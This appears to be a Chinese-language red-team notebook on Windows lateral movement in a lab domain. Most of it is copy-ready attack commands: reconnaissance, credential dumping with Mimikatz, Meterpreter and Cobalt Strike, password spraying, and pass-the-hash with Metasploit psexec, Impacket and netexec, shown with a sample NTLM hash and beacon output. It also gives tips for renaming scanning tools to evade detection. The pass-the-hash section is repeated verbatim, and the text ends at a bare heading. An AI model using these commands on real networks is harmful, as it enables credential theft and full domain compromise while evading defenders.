    KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。

攻击流程

1. 信息收集阶段:

  • 获取目标系统的用户哈希值(通过 LSASS 内存转储、SAM 数据库提取等方式)。
  • 识别网络中的其他可访问系统。

2. 哈希传递阶段:

  • 使用获取的哈希值尝试对其他系统进行身份验证。
  • 常见工具:Mimikatz、Impacket 套件中的 psexec.py 等。

3. 权限提升与横向移动:

  • 成功验证后,在目标系统执行命令。
  • 进一步收集新系统的哈希值,继续横向移动。

4. 目标达成:

  • 获取域管理员等高权限账户哈希。
  • 控制整个域环境。

Pasted image 20250827174601.png

利用

1)工作组 PTH

1. MSF
psexec 横向移动
	exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080

use exploit/windows/smb/psexec

set rhosts 10.10.10.20

set smbuser administrator

set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

set lport 4206

run

Pasted image 20250827180959.png

Pasted image 20250827182946.png

2. Cobalt Strike
其实用 Beacon TCP 或者 Beacon SMB 的监听器都可以。

Pasted image 20250827183126.png

Pasted image 20250827184050.png

Pasted image 20250827184346.png

Pasted image 20250827184450.png

Pasted image 20250827184537.png

# 核心本质解析

rev2self
# 还原token令牌

pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"

jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload






beacon> rev2self
[*] Tasked beacon to revert token

beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command

beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
 | PID 4012
 | TID 1172
 | LSA Process is now R/W
 | LUID 0 ; 6146101 (00000000:005dc835)
 \_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
 \_ kerberos - data copy @ 000000000161E8E8
 \_ aes256_hmac -> null 
 \_ aes128_hmac -> null 
 \_ rc4_hmac_nt OK
 \_ rc4_hmac_old OK
 \_ rc4_md4 OK
 \_ rc4_hmac_nt_exp OK
 \_ rc4_hmac_old_exp OK
 \_ *Password replace @ 0000000001B4C668 (16) -> null
3. impacket
wmiexec
# 执行 ipconfig 命令
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig"

# 中文编码解决乱码。
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig" -codec gbk

# 获取 CMD_Shell
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] -codec gbk

Pasted image 20250827185806.png

Pasted image 20250827185824.png

Pasted image 20250827185513.png

Pasted image 20250827185624.png

smbexec
# 得到 CMD_Shell
python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 [email protected] -codec gbk

# 执行命令
smbexec 不能直接执行命令。

Pasted image 20250827190100.png

Pasted image 20250827190023.png

4. netexec
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827191457.png

Pasted image 20250827191536.png

Pasted image 20250827191647.png

Pasted image 20250827191705.png

Pasted image 20250827191731.png

wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827191919.png

winrm
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827192652.png

# 开启 winrm 方法
winrm quickconfig
(shell winrm quickconfig -q)

# 允许远程主机访问及访问远程主机
# WinRM 只允许当前域用户或者处于本机 TrustedHosts 列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}

Pasted image 20250827192240.png

Pasted image 20250827192402.png

5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.0.1.143 /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\10.10.10.20\C$
dir \\10.10.10.20\C$
copy payload \\10.10.10.20\C$
net use z: \\10.10.10.20\C$
不知道为什么还是需要经过域的认证,域环境现在有问题无法使用

域环境 PTH

1. MSF
psexec
	exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080

use exploit/windows/smb/psexec

set smbdomain qiaoshen.local

set smbuser administrator

set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

set lport 4206

run
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbdomain qiaoshen.local
msf6 exploit(windows/smb/psexec) > set smbuser QiaoShen
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf6 exploit(windows/smb/psexec) > run
2. Cobalt Strike
同理一样的,只是凭据选择的是 域环境的 用户凭据而已。
3. impacket
域环境出现了一些问题,无法实操截图。
wmiexec
# 执行 ipconfig 命令
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24  qiaoshen/[email protected] -codec gbk "ipconfig"

# 获取 CMD_Shell
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24  qiaoshen/[email protected] -codec gbk 
smbexec
# 得到 CMD_Shell
proxychains -q python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected]

# 执行命令
smbexec 不能直接执行命令。
4. netexec
域环境出现了一些问题,无法实操截图。
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
	若是需要域环境,则取消掉 --local-auth,并可以通过 -d qiaoshen.local 指定域名称。
smb
proxychains -q netexec smb 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 -d qiaoshen.local --codec gbk

proxychains -q netexec smb 10.10.10.20 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
wmi
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local --codec gbk

proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:QiaoShen /domain:qiaoshen.local /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\dc\C$
dir \\dc\C$
copy payload \\dc\C$
net use z: \\DC\C$
需要经过域的认证,域环境现在有问题无法截图

3)PTT

总述

本文讲解了 横向移动 当中 利用 系统工具 实现 横向移动的相关方法的总结。

横向移动大致上可以分为两类:
	1. 通过内网的跳板机,利用漏洞攻击其他的内网主机,拿下其他内网主机的 Shell 落地,实现内网横移。
	2. 通过信息收集得来的相关凭证信息,通过已有凭证的方法进行横向移动。
		1. 凭据校验 - 获得正确的凭证
			1. 密码喷洒。
			2. PTH
			3. PTT
		2. 凭据利用
			1. Windows 原生 
					1. IPC
					2. smbclient
				1. IPC + AT + Schtasks
				2. IPC + sc
				3. WMIC
				4. WinRM
			2. 协议类
				1. RDP
				2. SSH
				3. SMB
	 
		我都有凭据了,为什么还要用上面说的那五种 凭据利用 的方式呢?
			因为:
				1、 RDP/SSH 登录容易被 SOC 检测(有人突然开交互式会话)。
				2、 RDP 可能没开,WinRM 可能被关,SSH 未必装。

	本文主要讲解的为 第二种 - 通过信息收集的相关凭据信息,利用这些讲解的手法实现 横向移动;因为 第一种 本质上其实就是属于 漏洞利用 而已,只是利用漏洞的结果是 实现了横向移动。

Pasted image 20250829051238.png

	当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击内网其他主机,扩大攻击影响范围。
	
	横向移动有三个主要阶段:
		1、侦察(主机信息收集、内网网络结构信息收集) - 确定目标
		2、凭据/特权收集(主机密码凭证) - 确定凭据
		3、对网络中其他计算机的访问权限 - 横向移动

Pasted image 20250827135331.png

1、内网信息收集 - 目标确定

1. 系统命令

仅通过系统自带的相关 命令 及 功能 进行 信息收集 收集 其他主机 的 内网IP 信息,帮我们锁定目标。

1)ARP缓存信息

查看本机存储的相关的 arp 缓存表。
arp -a

Pasted image 20250827222331.png

2)DNS 缓存查询

查看内网的 DNS 服务器,并且很多时候通过内网的 DNS 服务器还能判断当前主机是否在 域 环境当中,以及如果是的话,通过查询 DNS 服务器的方式,顺便直接定位 域控的名称 和 域控ip 了。
ipconfig /displaydns

Pasted image 20250808174340.png

Pasted image 20250808174542.png

3)本地 Host 文件

很多时候其实都忘了查看本地的 hosts 文件了,这个文件也是非常重要的,有时候包含了非常多的信息。
type C:\Windows\System32\drivers\etc\hosts

Pasted image 20250827222629.png

2. 工具

# Fscan
https://github.com/shadow1ng/fscan

# Kscan
https://github.com/lcvvvv/kscan

# dismap
https://github.com/zhzyker/dismap
原则
0. 工具分工合作,根据工具自身的优势专项的 仔细使用。
1. 安静
2. 不被发现
3. 尽量用正常的协议
4. 尽量用改造过的⼯具
dismap:
	Web 资产扫的很好,也会带一些漏洞利用、指纹提取、协议、端口 等等。最常用于扫 Web。

Fscan:
	扫服务、端口、一些普通的漏洞,但是我们 Fscan 都是二开的并且会很仔细的去用它,而不是一上来就当作默认的方式。

Kscan:
	在内网当中去找存活,找完存活就不用了。
此处以 Fscan 进行相关的举例:
	1. 根据不同的需求定向的使用命令进行操作的实现,而不是直接无脑的全扫,否则会让安全设备大量的告警,一下就被发现了。
	2. 进行了二开,文件名肯定不为 fscan,而是改为正常的这种文件名进行掩盖,并且相关的选项也进行了修改,避免相关的 命令正则匹配检测,一下就被抓到了。
	3. 禁 ping。

1. Fscan

1)主机发现(存活探测)

# fscan
mysql.exe -i 192.168.3.0/24 -np -m netbios

Pasted image 20250808185750.png

2)定向扫描 MS17-010 漏洞

# fscan
mysql.exe -i 192.168.3.0/24 -np -m ms17010

Pasted image 20250808190201.png

3)特殊端口资产扫描

# fscan
mysql.exe -i 192.168.3.0/24 -np -p 22,2222,3389,5900,1433,3066,1521,5432,6379

Pasted image 20250808190210.png

4)其他主机标签识别

这个命令的作用是:快速扫描 192.168.3.0/24 网段内的存活主机和开放端口等基础资产信息(不进行漏洞检测和密码爆破),并将结果保存到 res.txt 文件中。适合用于内网资产的初步探测。
# fscan
mysql.exe -i 192.168.3.0/24 -np -nobr -nopoc -o res.txt

-np:禁用 ping 探测(不使用 ICMP 协议检测主机是否存活)。
-nobr:禁用爆破功能(不尝试对主机的账号密码进行暴力破解)。
-nopoc:禁用 POC 检测(不检测系统或应用程序的漏洞利用 POC)。
-o res.txt:将扫描结果输出到 res.txt 文件中。

Pasted image 20250808190441.png

2. Cobalt Strike

1)梼杌

Pasted image 20250827151141.png

Pasted image 20250827151246.png

SharpOXID-Find 是用 .NET (通常是 .NET Framework 4.x) 编写的。
	环境不正确。
		| Windows Server 2008 R2    | .NET Framework 3.0     |

Pasted image 20250827151303.png

2)mingy-Qiao

Pasted image 20250827151619.png

Ladon

Pasted image 20250827151709.png

Pasted image 20250827151901.png

SharpWebScan

Pasted image 20250827152008.png

	环境不正确。
		| Windows Server 2008 R2    | .NET Framework 3.0     |

Pasted image 20250827152023.png

Fscan

Pasted image 20250827152146.png

Pasted image 20250827152213.png

Pasted image 20250827152639.png

Pasted image 20250827152724.png

3)神龙拉冬

Pasted image 20250827152841.png

Ladon
OnlinePC

Pasted image 20250827152906.png

Pasted image 20250827153238.png

ICMP

Pasted image 20250827153450.png

Pasted image 20250827153424.png

2、凭据信息收集

详见 - 1信息收集 - 主机级 - 密码获取 - Windows 密码凭据获取、域环境密码获取。
本文仅简单回顾一下最常用的方法。

1. Mimikatz

1、本地交互式

1)winlogon.exe - 明文 + hash

读取本地已登录进行过 且 通过 了的相关的用户凭证的获取 - winlogon.exe 是提供的密文密码,我们可以尝试获取相关的明文密码。
# 运行mimikatz
	mimikztz.exe

# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程。
	privilege::debug

# 记录日志
	log re.txt

# 抓取登录密码
	sekurlsa::logonpasswords

(
# 域环境下使用 dcsync 权限尝试与 KDC 进行同步。
lsadump::dcsync /domain:qiaoshen.local /all /csv
)

# 退出 Mimikatz
	exit
mimikatz.exe "log 1.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

Pasted image 20250805115844.png

Pasted image 20250805120908.png

Pasted image 20250805120009.png

2)lsass.exe - hash

读取 SAM 数据库文件当中存储的密码密文的 NTLM Hash 的值。
# 运行mimikatz
	mimikztz.exe

# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程
	privilege::debug

# 提升当前进程的令牌权限,使其具有管理员级别的访问权限。
	token::elevate

# 记录日志
	log res.txt

# 从 Windows 系统的安全账户管理器(SAM)数据库中提取密码哈希。(读取本地的 SAM,因此仅有本地的)
	lsadump::sam

# 提取 Windows 系统中存储的敏感信息,如密码、密钥和其他凭据。
	lsadump::secrets
mimikatz.exe "log 2.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"

Pasted image 20250805120351.png

Pasted image 20250805120519.png

Pasted image 20250805120606.png

2、本地非交互式

我们有某台 Windows 主机的权限,但是并非是 cmd 这样命令行窗口 样式的 交互式 shell,那么针对这种情况,我们就可以一条命令实现信息收集并将结果保存到某个文件当中,我们直接再去读取那个文件即可。
# 执行命令并记录日志
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

Pasted image 20250805121544.png

2. MSF

1、Meterpreter - Hashdump

这个模块会尝试从内存中提取 Windows 系统的密码哈希。

hashdump 需要 administrator 权限。
post/windows/gather/hashdump 模块需要 SYSTEM 权限。
run post/windows/gather/hashdump

# smart_hashdump 是一个更先进的模块,它使用不同的技术来提高获取哈希的成功率。
run post/windows/gather/smart_hashdump 

Pasted image 20250805134231.png

Pasted image 20250805134211.png

Pasted image 20250827142126.png

2、Meterpreter - mimikatz

kiwi 是 Meterpreter 中 Mimikatz 的加载模块,它允许直接在 Meterpreter 会话中使用 Mimikatz 功能。

1)加载 mimikatz - load kiwi

# 加载mimikatz模块
	load kiwi

# 查看模块功能帮助
	help kiwi
命令中文解释
creds_all检索所有凭据(已解析)
creds_kerberos检索 Kerberos 凭据(已解析)
creds_livessp检索 Live SSP 凭据
creds_msv检索 LM/NTLM 凭据(已解析)
creds_ssp检索 SSP 凭据
creds_tspkg检索 TsPkg 凭据(已解析)
creds_wdigest检索 WDigest 凭据(已解析)
dcsync通过 DCSync 检索用户账户信息(未解析)
dcsync_ntlm通过 DCSync 检索用户账户的 NTLM 哈希、SID 和 RID
golden_ticket_create创建黄金 Kerberos 票据
kerberos_ticket_list列出所有 Kerberos 票据(未解析)
kerberos_ticket_purge清除所有正在使用的 Kerberos 票据
kerberos_ticket_use使用 Kerberos 票据
kiwi_cmd执行任意 mimikatz 命令(未解析)
lsa_dump_sam转储 LSA SAM(未解析)
lsa_dump_secrets转储 LSA 机密(未解析)
password_change更改用户的密码 / 哈希
wifi_list列出当前用户的 WiFi 配置文件 / 凭据
wifi_list_shared列出共享的 WiFi 配置文件 / 凭据(需要 SYSTEM 权限)

Pasted image 20250805134518.png

2)列举系统中的密码(明文 + hash) - creds_all

creds_all

Pasted image 20250805134812.png

3)读取 sam 文件

lsa_dump_sam

Pasted image 20250805134943.png

4)使用 mimikatz 原生 命令行 - kiwi_cmd

# 查看基础命令
	kiwi_cmd -h

# 查看有哪些模块,kiwi_cmd命令后面接mimikatz的模块命令
	kiwi_cmd ::

# 从 Windows 的 sam 文件中读取密码 hash 值
	kiwi_cmd lsadump::sam

# 获取明文密码
	kiwi_cmd sekurlsa::logonpasswords


	其他的 mimikatz 原生命令同理。

Pasted image 20250805135056.png

Pasted image 20250805135213.png

Pasted image 20250805135328.png

3. Cobalt Strike

1)hashdump

hashdump

Pasted image 20250805135745.png

Pasted image 20250805135802.png

2)Logonpasswords

logonpasswords 命令尝试从当前会话中获取当前登录用户的明文密码。
logonpasswords

Pasted image 20250805135946.png

Pasted image 20250805140100.png

3)Mimikatz 集成

CobaltStrike 集成了 Mimikatz,可以直接在 beacon 会话中运行 Mimikatz 命令。

# 获取当前会话的明文密码
	mimikatz sekurlsa::logonpasswords

# 读取 Windows 的 SAM 数据库并转储密码哈希
	mimikatz lsadump::sam


	其他 mimikatz 原生命令同理

Pasted image 20250805140323.png

Pasted image 20250805140400.png

Pasted image 20250805140533.png

CobaltStrike凭证视图

Pasted image 20250805140735.png

Pasted image 20250805140904.png

3、凭据验证

1)密码喷洒

可以指定字典 - 也就是暴力破解:
	1. 已知完整凭据 - 平局喷洒
	2. 已知密码 - 爆破用户名
	3. 已知用户名 - 爆破密码
	4. 爆破 服务 - SMB、wmi...

因此我们在喷洒之前,需要先确定好目标的相关 密码基线 的情况,是否有相应的失败错误的锁定机制,要是全面影响业务就 GG 了。

1. Crackmapexec

Pasted image 20250827171940.png

--local-auth 说明是在本地用户的喷洒,不加 --local-auth 默认为 域内用户的喷洒。
crackmapexec smb HOST -u Username -p password --local-auth --command

# 单 IP
crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth --users
crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth --shares

# IP 段
crackmapexec smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth

# 文件
crackmapexec smb targets.txt -u administrator -p '1qaz@WSX' --local-auth

Pasted image 20250827172233.png

Pasted image 20250827172322.png

Pasted image 20250827172503.png

Pasted image 20250827172542.png

2. Cobalt Strike

需要已经有过权限才能在 CS 上进行 PTP(Pass The Password)

Pasted image 20250827173756.png

2)PTH

其实 PTH 已经是在 内网横移了,PTH 成功 则 内网横移 成功了已经。
	可以通过 PTH 一个一个验证碰撞是否可以成功横移到其他的内网主机;如果碰撞成功了那么直接就内网横移成功了。
	PTH(Pass The Hash)是一种利用NTLM或LM哈希值而非明文密码进行身份验证的攻击技术。攻击者获取用户密码的哈希值后,可以直接使用该哈希值在网络中进行横向移动,无需破解出明文密码。

	是域环境当中 横向移动的 核心方法。
		但是无论是在 域环境 当中 还是在 工作组 当中,都可以使用该方法 进行横向移动。
			只不过在工作组当中,很少有在一台主机当中存在另一台主机相关 密码凭证 的情况,因此其实大部分情况 PTH 都是在域环境当中存在。

攻击原理

1. NTLM认证机制:

  • Windows系统使用 NTLM 协议进行身份验证时,实际上使用的是密码哈希值而非明文密码。
  • 服务器端并不验证原始密码,只验证客户端提供的哈希值是否正确。

2. 哈希重用特性:

  • 同一账户在不同机器上的密码哈希值相同 (除非启用了 CredSSP 或限制 NTLM )
  • 攻击者获取的哈希值可在整个域环境中重用。

3. 协议设计缺陷:

  • NTLM 协议设计时未考虑哈希值本身作为凭证的安全风险。
  • 服务器无法区分哈希值是来自合法计算还是被窃取的。

前提条件

1. 获取有效的密码哈希值

  • 必须已获取目标用户的 NTLM 或 LM 哈希值

  • 常见获取方式:

    1. 内存提取(如LSASS进程)
    2. SAM数据库提取
    3. 域控制器上的NTDS.dit文件
    4. 网络嗅探NTLM认证流量

2. 目标系统使用NTLM认证

  • 目标服务/系统 必须允许 NTLM 认证,如果系统强制使用 Kerberos 认证,PTH 攻击将失效

  • 常见支持NTLM的服务:

    1. SMB文件共享
    2. RDP远程桌面(需特殊配置)
    3. Windows远程管理(WinRM)
    4. IIS Web应用(配置NTLM认证时)

3. 网络可达性

  • 攻击者必须能够通过网络访问目标系统

  • 相关端口必须开放:
    SMB: 445/TCP
    RDP: 3389/TCP
    WinRM: 5985/5986(TCP)

    任意一个开启即可尝试 PTH。

4. 账户权限

  • 使用的哈希值对应的账户在目标系统上需要有足够的权限

  • 常见有效目标账户:

    1. 本地管理员组成员
    2. 域管理员组成员
    3. 具有远程登录权限的账户

    KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。

攻击流程

1. 信息收集阶段:

  • 获取目标系统的用户哈希值(通过 LSASS 内存转储、SAM 数据库提取等方式)。
  • 识别网络中的其他可访问系统。

2. 哈希传递阶段:

  • 使用获取的哈希值尝试对其他系统进行身份验证。
  • 常见工具:Mimikatz、Impacket 套件中的 psexec.py 等。

3. 权限提升与横向移动:

  • 成功验证后,在目标系统执行命令。
  • 进一步收集新系统的哈希值,继续横向移动。

4. 目标达成:

  • 获取域管理员等高权限账户哈希。
  • 控制整个域环境。

Pasted image 20250827174601.png

利用

1)工作组 PTH

1. MSF
psexec 横向移动
	exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080

use exploit/windows/smb/psexec

set rhosts 10.10.10.20

set smbuser administrator

set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

set lport 4206

run

Pasted image 20250827180959.png

Pasted image 20250827182946.png

2. Cobalt Strike
其实用 Beacon TCP 或者 Beacon SMB 的监听器都可以

Pasted image 20250827183126.png

Pasted image 20250827184050.png

Pasted image 20250827184346.png

Pasted image 20250827184450.png

Pasted image 20250827184537.png

# 核心本质解析

rev2self
# 还原token令牌

pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"

jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload






beacon> rev2self
[*] Tasked beacon to revert token

beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command

beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
 | PID 4012
 | TID 1172
 | LSA Process is now R/W
 | LUID 0 ; 6146101 (00000000:005dc835)
 \_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
 \_ kerberos - data copy @ 000000000161E8E8
 \_ aes256_hmac -> null 
 \_ aes128_hmac -> null 
 \_ rc4_hmac_nt OK
 \_ rc4_hmac_old OK
 \_ rc4_md4 OK
 \_ rc4_hmac_nt_exp OK
 \_ rc4_hmac_old_exp OK
 \_ *Password replace @ 0000000001B4C668 (16) -> null
3. impacket
wmiexec
# 执行 ipconfig 命令
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig"

# 中文编码解决乱码。
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig" -codec gbk

# 获取 CMD_Shell
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] -codec gbk

Pasted image 20250827185806.png

Pasted image 20250827185824.png

Pasted image 20250827185513.png

Pasted image 20250827185624.png

smbexec
# 得到 CMD_Shell
python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 [email protected] -codec gbk

# 执行命令
smbexec 不能直接执行命令。

Pasted image 20250827190100.png

Pasted image 20250827190023.png

4. netexec
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827191457.png

Pasted image 20250827191536.png

Pasted image 20250827191647.png

Pasted image 20250827191705.png

Pasted image 20250827191731.png

wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827191919.png

winrm
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827192652.png

# 开启 winrm 方法
winrm quickconfig
(shell winrm quickconfig -q)

# 允许远程主机访问及访问远程主机
# WinRM 只允许当前域用户或者处于本机 TrustedHosts 列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}

Pasted image 20250827192240.png

Pasted image 20250827192402.png

5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.0.1.143 /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\10.10.10.20\C$
dir \\10.10.10.20\C$
copy payload \\10.10.10.20\C$
net use z: \\10.10.10.20\C$
不知道为什么还是需要经过域的认证,域环境现在有问题无法使用

域环境 PTH

1. MSF
psexec
	exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080

use exploit/windows/smb/psexec

set smbdomain qiaoshen.local

set smbuser administrator

set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

set lport 4206

run
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbdomain qiaoshen.local
msf6 exploit(windows/smb/psexec) > set smbuser QiaoShen
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf6 exploit(windows/smb/psexec) > run
2. Cobalt Strike
同理一样的,只是凭据选择的是 域环境的 用户凭据而已。
3. impacket
域环境出现了一些问题,无法实操截图。
wmiexec
# 执行 ipconfig 命令
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24  qiaoshen/[email protected] -codec gbk "ipconfig"

# 获取 CMD_Shell
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24  qiaoshen/[email protected] -codec gbk 
smbexec
# 得到 CMD_Shell
proxychains -q python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected]

# 执行命令
smbexec 不能直接执行命令。
4. netexec
域环境出现了一些问题,无法实操截图。
smb
proxychains -q netexec smb 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 -d qiaoshen.local --codec gbk

proxychains -q netexec smb 10.10.10.20 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
wmi
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local --codec gbk

proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:QiaoShen /domain:qiaoshen.local /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\dc\C$
dir \\dc\C$
copy payload \\dc\C$
net use z: \\DC\C$
需要经过域的认证,域环境现在有问题无法截图

3)PTT

4、横向移动

1. 系统内置工具

1)IPC$ 方法

